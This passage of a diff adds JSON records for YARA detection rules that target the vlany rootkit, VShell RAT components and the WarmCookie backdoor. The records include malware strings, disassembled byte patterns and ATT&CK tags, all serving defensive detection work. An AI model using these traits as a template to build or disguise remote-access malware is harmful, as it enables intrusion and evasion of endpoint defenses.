pam_authenticate()\" ascii\n        $a5 = \"old_pam_authenticate\" ascii\n        $a6 = \"old_pam_acct_mgmt\" ascii\n        $a7 = \"pbackconnect\" ascii\n        $a8 = \"[+] shell dropped\" ascii\n        $a9 = \"Temporary backdoor message.\" ascii\n        $a10 = \"hidden_xattr\" ascii\n        $a11 = \"old_fgetflags\" ascii\n\n    condition:\n        (uint32be(0) == 0x7F454c46) // ELF\n        and ((uint16be(0x10) == 0x03) or (uint16(0x10) == 0x03)) // ET_DYN\n        and (2 of them)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "linux_library_rootkit_vlany"
+  ],
+  "rule_creation_date": "2023-12-12",
+  "rule_modified_date": "2025-02-27",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Rootkit.Vlany"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.credential_access",
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1095",
+    "attack.t1070",
+    "attack.t1564",
+    "attack.t1014",
+    "attack.t1556",
+    "attack.t1574.006",
+    "attack.t1059.004"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-vshell_downloader_46ce68b2fb8d_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.582842Z",
+  "creation_date": "2026-03-23T11:46:25.582845Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.582850Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://malpedia.caad.fkie.fraunhofer.de/details/win.vshell\nhttps://sysdig.com/blog/unc5174-chinese-threat-actor-vshell/"
+  ],
+  "name": "vshell_downloader_46ce68b2fb8d.yar",
+  "content": "rule vshell_downloader_46ce68b2fb8d {\n    meta:\n        title = \"Vshell Downloader (46ce68b2fb8d)\"\n        id = \"bd5e5f23-c32a-4b33-919d-46ce68b2fb8d\"\n        description = \"Detects VShell downloader, an open-source Remote Access Tool (RAT), that has been publicly available on GitHub.\\nVShell is a remote administration tool that has been used by threat actors to establish stealthy, persistent access during malicious operations and is often associated with Chinese threat actors.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://malpedia.caad.fkie.fraunhofer.de/details/win.vshell\\nhttps://sysdig.com/blog/unc5174-chinese-threat-actor-vshell/\"\n        date = \"2025-07-02\"\n        modified = \"2025-11-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027;attack.command_and_control;attack.t1219;attack.t1071.001;attack.t1105\"\n        classification = \"Windows.Trojan.Vshell\"\n        context = \"process,memory,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 139fda35b488f78815c5e2ba7cda1ee344bd62619849618302445956100fc604\n\n        $init_socket_data = {\n            C1 E8 08                      // shr     eax, 8\n            88 44 24 11                   // mov     [esp+1B8h+var_1A7], al\n            8B C1                         // mov     eax, ecx\n            C1 E8 10                      // shr     eax, 10h\n            88 44 24 12                   // mov     [esp+1B8h+var_1A6], al\n            0F B6 44 24 1A                // movzx   eax, [esp+1B8h+name.sa_data]\n            88 44 24 14                   // mov     [esp+1B8h+var_1A4], al\n            8B 44 24 1A                   // mov     eax, dword ptr [esp+1B8h+name.sa_data]\n            C1 E8 08                      // shr     eax, 8\n            6A 00                         // push    0\n            88 44 24 19                   // mov     [esp+1BCh+var_1A3], al\n            8D 44 24 14                   // lea     eax, [esp+1BCh+buf]\n            6A 06                         // push    6\n            50                            // push    eax\n            C1 E9 18                      // shr     ecx, 18h\n        }\n\n        $recv_64k_bytes = {\n                                    // loc_401102:\n            03 F0                         // add     esi, eax\n            6A 00                         // push    0\n            68 00 40 06 00                // push    64000h\n            8D 04 1E                      // lea     eax, [esi+ebx]\n            50                            // push    eax\n            57                            // push    edi\n            FF 15 ?? ?? ?? ??             // call    ds:recv\n            83 F8 01                      // cmp     eax, 1\n            7D ??                         // jge     short loc_401102\n        }\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "vshell_downloader_46ce68b2fb8d"
+  ],
+  "rule_creation_date": "2025-07-02",
+  "rule_modified_date": "2025-11-04",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Trojan.Vshell"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1219",
+    "attack.t1071.001",
+    "attack.t1105",
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "memory",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-vshell_downloader_63bd2fe02318_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.572223Z",
+  "creation_date": "2026-03-23T11:46:25.572225Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.572231Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://malpedia.caad.fkie.fraunhofer.de/details/win.vshell\nhttps://sysdig.com/blog/unc5174-chinese-threat-actor-vshell/"
+  ],
+  "name": "vshell_downloader_63bd2fe02318.yar",
+  "content": "rule vshell_downloader_63bd2fe02318 {\n    meta:\n        title = \"Vshell Downloader (63bd2fe02318)\"\n        id = \"53ecdf51-5ba7-4769-ae4e-63bd2fe02318\"\n        description = \"Detects VShell downloader, an open-source Remote Access Tool (RAT), that has been publicly available on GitHub.\\nVShell is a remote administration tool that has been used by threat actors to establish stealthy, persistent access during malicious operations and is often associated with Chinese threat actors.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://malpedia.caad.fkie.fraunhofer.de/details/win.vshell\\nhttps://sysdig.com/blog/unc5174-chinese-threat-actor-vshell/\"\n        date = \"2025-07-02\"\n        modified = \"2025-11-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027;attack.command_and_control;attack.t1219;attack.t1071.001;attack.t1105\"\n        classification = \"Linux.Trojan.Vshell\"\n        context = \"process,memory,file.elf\"\n        os = \"Linux\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // facafec4183ca19a003b941f3c668917a3b5ab891e7c939d1e6fc37692416942\n        // 135225af2c69619d31526f7cf7618ea7571d4600bb0f4a24beaa77c4724ec7c5\n        // f453e109e0842a47be594413ba98c33f2a9026ce84c9d1f538a050ec5f0fb508\n        // 99aa496fa2b51134124756de663cf8bfd28b91b514e7cb605e53a86db168a1a2\n        // 4c0ace878616b963dd6ed320ace24309eaeacfc143255d1639d83130a244719c\n        // 5b1866237c1e4d47e51d76d5209450e17f39d6f50e5877d721eb4669f3812d61\n\n        $init_socket_data = {\n            C1 E8 08                      // shr     eax, 8\n            88 85 ?? EF FF FF             // mov     byte ptr [rbp+var_1016+1], al\n            8B 85 ?? EF FF FF             // mov     eax, dword ptr [rbp+var_1040+4]\n            C1 E8 10                      // shr     eax, 10h\n            88 85 ?? EF FF FF             // mov     byte ptr [rbp+var_1016+2], al\n            8B 85 ?? EF FF FF             // mov     eax, dword ptr [rbp+var_1040+4]\n            C1 E8 18                      // shr     eax, 18h\n            88 85 ?? EF FF FF             // mov     byte ptr [rbp+var_1016+3], al\n            0F B7 85 ?? EF FF FF          // movzx   eax, word ptr [rbp+var_1040+2]\n            88 85 ?? EF FF FF             // mov     byte ptr [rbp+var_1012], al\n            0F B7 85 ?? EF FF FF          // movzx   eax, word ptr [rbp+var_1040+2]\n            66 C1 E8 08                   // shr     ax, 8\n        }\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "vshell_downloader_63bd2fe02318"
+  ],
+  "rule_creation_date": "2025-07-02",
+  "rule_modified_date": "2025-11-04",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Trojan.Vshell"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1219",
+    "attack.t1071.001",
+    "attack.t1105",
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "memory",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-vshell_downloader_a1357f63e730_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.575166Z",
+  "creation_date": "2026-03-23T11:46:25.575168Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.575174Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://malpedia.caad.fkie.fraunhofer.de/details/win.vshell\nhttps://sysdig.com/blog/unc5174-chinese-threat-actor-vshell/"
+  ],
+  "name": "vshell_downloader_a1357f63e730.yar",
+  "content": "rule vshell_downloader_a1357f63e730 {\n    meta:\n        title = \"Vshell Downloader (a1357f63e730)\"\n        id = \"2b0f39b1-874b-4aa9-8406-a1357f63e730\"\n        description = \"Detects VShell downloader, an open-source Remote Access Tool (RAT), that has been publicly available on GitHub.\\nVShell is a remote administration tool that has been used by threat actors to establish stealthy, persistent access during malicious operations and is often associated with Chinese threat actors.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://malpedia.caad.fkie.fraunhofer.de/details/win.vshell\\nhttps://sysdig.com/blog/unc5174-chinese-threat-actor-vshell/\"\n        date = \"2025-07-02\"\n        modified = \"2025-11-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027;attack.command_and_control;attack.t1219;attack.t1071.001;attack.t1105\"\n        classification = \"Windows.Trojan.Vshell\"\n        context = \"process,memory,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // ac46402b0cc22ff88c9dca8c1ab129e167b100622c08efae2196f9bf2dfe0f7e\n        // 27e442e87c58cd7eb5fd126cc4b208eeffdd7fbb284548d215f07511f7922934\n\n        $init_socket_data = {\n            C1 E8 08                      // shr     eax, 8\n            88 84 24 E1 01 00 00          // mov     [rsp+1D8h+arg_1], al\n            8B C1                         // mov     eax, ecx\n            C1 E8 10                      // shr     eax, 10h\n            45 8D 41 06                   // lea     r8d, [r9+6]\n            88 84 24 E2 01 00 00          // mov     [rsp+1D8h+arg_2], al\n            0F B6 44 24 22                // movzx   eax, [rsp+1D8h+name.sa_data]\n            88 84 24 E4 01 00 00          // mov     [rsp+1D8h+arg_4], al\n            0F B7 44 24 22                // movzx   eax, word ptr [rsp+1D8h+name.sa_data]\n            C1 E9 18                      // shr     ecx, 18h\n        }\n\n        $recv_64k_bytes = {\n                                    // loc_140001150:\n            03 F8                         // add     edi, eax\n            45 33 C9                      // xor     r9d, r9d\n            8B D7                         // mov     edx, edi\n            41 B8 00 40 06 00             // mov     r8d, 64000h\n            48 03 D6                      // add     rdx, rsi\n            48 8B CB                      // mov     rcx, rbx\n            FF 15 ?? ?? ?? ??             // call    cs:recv\n            83 F8 01                      // cmp     eax, 1\n            7D ??                         // jge     short loc_140001150\n        }\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "vshell_downloader_a1357f63e730"
+  ],
+  "rule_creation_date": "2025-07-02",
+  "rule_modified_date": "2025-11-04",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Trojan.Vshell"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1219",
+    "attack.t1071.001",
+    "attack.t1105",
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "memory",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-vshell_shellcode_54c28b4f1adb_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.576722Z",
+  "creation_date": "2026-03-23T11:46:25.576724Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.576730Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://malpedia.caad.fkie.fraunhofer.de/details/win.vshell\nhttps://sysdig.com/blog/unc5174-chinese-threat-actor-vshell/"
+  ],
+  "name": "vshell_shellcode_54c28b4f1adb.yar",
+  "content": "rule vshell_shellcode_54c28b4f1adb {\n    meta:\n        title = \"Vshell Shellcode (54c28b4f1adb)\"\n        id = \"eba199b3-a446-4c06-aa53-54c28b4f1adb\"\n        description = \"Detects VShell shellcode, an open-source Remote Access Tool (RAT), that has been publicly available on GitHub.\\nVShell is a remote administration tool that has been used by threat actors to establish stealthy, persistent access during malicious operations and is often associated with Chinese threat actors.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://malpedia.caad.fkie.fraunhofer.de/details/win.vshell\\nhttps://sysdig.com/blog/unc5174-chinese-threat-actor-vshell/\"\n        date = \"2025-07-02\"\n        modified = \"2025-11-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1219;attack.t1071.001;attack.t1105\"\n        classification = \"Windows.Trojan.Vshell\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // cb1a8963f14fe84b38e9ca66bc838cd7b6725c491155615ca0e9d11a03618982\n\n        $init_socket_data = {\n                                    // loc_66:\n            6A 10                         // push    10h\n            8D 44 24 1C                   // lea     eax, [esp+1E4h+var_1C8]\n            50                            // push    eax\n            56                            // push    esi\n            FF ?? ?? ??                   // call    [esp+1ECh+var_19C]\n            85 C0                         // test    eax, eax\n            75 ??                         // jnz     short loc_66\n        }\n\n        $virtualprotect_rwx = {\n            FF ?? ?? ??                   // call    [esp+1F0h+var_198]\n            6A 40                         // push    40h\n            68 00 10 00 00                // push    1000h\n            68 80 C3 C9 01                // push    1C9C380h\n            53                            // push    ebx\n            FF ?? ?? ??                   // call    [esp+1F0h+var_1B0]\n            33 FF                         // xor     edi, edi\n            8B D8                         // mov     ebx, eax\n            57                            // push    edi\n            68 00 40 06 00                // push    64000h\n            53                            // push    ebx\n            EB ??                         // jmp     short loc_FB\n        }\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "vshell_shellcode_54c28b4f1adb"
+  ],
+  "rule_creation_date": "2025-07-02",
+  "rule_modified_date": "2025-11-04",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Trojan.Vshell"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1105",
+    "attack.t1219",
+    "attack.t1071.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-vshell_shellcode_cc755ed58072_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.582914Z",
+  "creation_date": "2026-03-23T11:46:25.582916Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.582921Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://malpedia.caad.fkie.fraunhofer.de/details/win.vshell\nhttps://sysdig.com/blog/unc5174-chinese-threat-actor-vshell/"
+  ],
+  "name": "vshell_shellcode_cc755ed58072.yar",
+  "content": "rule vshell_shellcode_cc755ed58072 {\n    meta:\n        title = \"Vshell Shellcode (cc755ed58072)\"\n        id = \"c52c8577-f4ad-4ac7-bab2-cc755ed58072\"\n        description = \"Detects VShell shellcode, an open-source Remote Access Tool (RAT), that has been publicly available on GitHub.\\nVShell is a remote administration tool that has been used by threat actors to establish stealthy, persistent access during malicious operations and is often associated with Chinese threat actors.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://malpedia.caad.fkie.fraunhofer.de/details/win.vshell\\nhttps://sysdig.com/blog/unc5174-chinese-threat-actor-vshell/\"\n        date = \"2025-07-02\"\n        modified = \"2025-11-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1219;attack.t1071.001;attack.t1105\"\n        classification = \"Windows.Trojan.Vshell\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 214ba85cb1b8edaca33a8d06b775fd40f4d19353b9356877fc74fcab66ff8749\n\n        $connect_syscall = {\n                                    // loc_113:\n            41 B8 10 00 00 00             // mov     r8d, 10h\n            48 8D 54 24 50                // lea     rdx, [rsp+230h+var_1E0]\n            48 8B CB                      // mov     rcx, rbx\n            41 FF ??                      // call    r14\n            85 C0                         // test    eax, eax\n            75 ??                         // jnz     short loc_113\n        }\n\n        $virtualprotect_rwx = {\n            41 FF ??                      // call    r12\n            33 C9                         // xor     ecx, ecx\n            BA 80 C3 C9 01                // mov     edx, 1C9C380h\n            41 B8 00 10 00 00             // mov     r8d, 1000h\n            44 8D 49 40                   // lea     r9d, [rcx+40h]\n            41 FF ??                      // call    r13\n            48 8B F0                      // mov     rsi, rax\n            48 8B D0                      // mov     rdx, rax\n            41 BE 00 40 06 00             // mov     r14d, 64000h\n            EB ??                         // jmp     short loc_1C9\n        }\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "vshell_shellcode_cc755ed58072"
+  ],
+  "rule_creation_date": "2025-07-02",
+  "rule_modified_date": "2025-11-04",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Trojan.Vshell"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1105",
+    "attack.t1219",
+    "attack.t1071.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-vshell_trojan_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.586940Z",
+  "creation_date": "2026-03-23T11:46:25.586942Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.586947Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://malpedia.caad.fkie.fraunhofer.de/details/win.vshell\nhttps://sysdig.com/blog/unc5174-chinese-threat-actor-vshell/"
+  ],
+  "name": "vshell_trojan.yar",
+  "content": "rule vshell_trojan {\n    meta:\n        title = \"Vshell Trojan\"\n        id = \"639dea78-cd79-4c4d-b1c3-b67300a18541\"\n        description = \"Detects VShell, an open-source Remote Access Tool (RAT), that has been publicly available on GitHub.\\nVShell is a remote administration tool that has been used by threat actors to establish stealthy, persistent access during malicious operations and is often associated with Chinese threat actors.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://malpedia.caad.fkie.fraunhofer.de/details/win.vshell\\nhttps://sysdig.com/blog/unc5174-chinese-threat-actor-vshell/\"\n        date = \"2025-07-02\"\n        modified = \"2025-11-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027;attack.command_and_control;attack.t1219;attack.t1071.001;attack.t1105\"\n        classification = \"Trojan.Vshell\"\n        context = \"process,memory,thread,file.pe,file.elf\"\n        os = \"Windows,Linux\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 26f5f162ed45f85b614b8bae26aae924562810481398eccfd3938455d45356da\n        // f2faebe77bb6418a6b4d4b598f69d99b41a6f7a6bb89dad20397e602f00131fd\n        // 808f7a0c1fab653db89758b7b1e8db36a576cd4a9754ef6f4287ea95c3dffb32\n\n        $a1 = \"json:\\\"vkey\\\"\" ascii fullword\n        $a2 = \"SendVshell\" ascii fullword\n        $a3 = \"*conn.VshellBody\" ascii fullword\n        $a4 = \"gin-gonic/lib/conn.(*Conn).GetLinkInfo\" ascii fullword\n        $a5 = \"gin-gonic/lib/conn.(*Conn).SendVshell\" ascii fullword\n        $a6 = \"vendor/golang.org/x/net/http/httpproxy.(*Config).ProxyFunc\" ascii fullword\n\n        $b1 = \"json:\\\"vkey\\\"\" ascii fullword\n        $b2 = \"genconfig.ClientCfg/Typegenconfig.ClientCfg/Vkey\" ascii\n        $b3 = \"non-empty stringnon-empty string Vkey\" ascii\n        $b4 = \"WebUserName\" ascii fullword\n        $b5 = \"ConfigConnAllow\" ascii fullword\n        $b6 = \"MaxTunnelNum\" ascii fullword\n\n    condition:\n        all of ($a*) or all of ($b*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "vshell_trojan"
+  ],
+  "rule_creation_date": "2025-07-02",
+  "rule_modified_date": "2025-11-04",
+  "rule_os": [
+    "windows",
+    "linux"
+  ],
+  "rule_classifications": [
+    "Trojan.Vshell"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1219",
+    "attack.t1071.001",
+    "attack.t1105",
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "memory",
+    "file.pe",
+    "process",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-warmcookie_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.575095Z",
+  "creation_date": "2026-03-23T11:46:25.575097Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.575103Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.elastic.co/security-labs/dipping-into-danger"
+  ],
+  "name": "warmcookie.yar",
+  "content": "rule warmcookie {\n    meta:\n        title = \"WarmCookie Backdoor\"\n        id = \"cd4872ed-82d9-470f-b4e9-ae053615167b\"\n        description = \"Detects the WarmCookie backdoor.\\nWarmCookie is a backdoor that leverages rundll32.exe and specific system API calls to maintain persistence and communicate with its command and control server.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://www.elastic.co/security-labs/dipping-into-danger\"\n        date = \"2024-10-01\"\n        modified = \"2025-07-07\"\n        author = \"HarfangLab\"\n        tags = \"attack.collection;attack.credential_access;attack.t1056.001\"\n        classification = \"Windows.Backdoor.WarmCookie\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 36b43e8350bc4890bbba8c1be515fd4e7468ef932dd1c73b3244575f1197075a\n        // ccde1ded028948f5cd3277d2d4af6b22fa33f53abde84ea2aa01f1872fad1d13\n        // 44faed020d5d8b29918a3f02d757b2cfada67574cf9e02748ea7f75ba5878907\n        // 9d4c80ea1d6d1ce11f9bb79d7a5a4ddfcea9f20ffe039db7215e9c57fc183476\n\n        $a1 = \"release.dll\" ascii fullword\n        $a2 = \"\\\"Main Invoked.\\\"\" ascii fullword\n        $a3 = \"\\\"Main Returned.\\\"\" 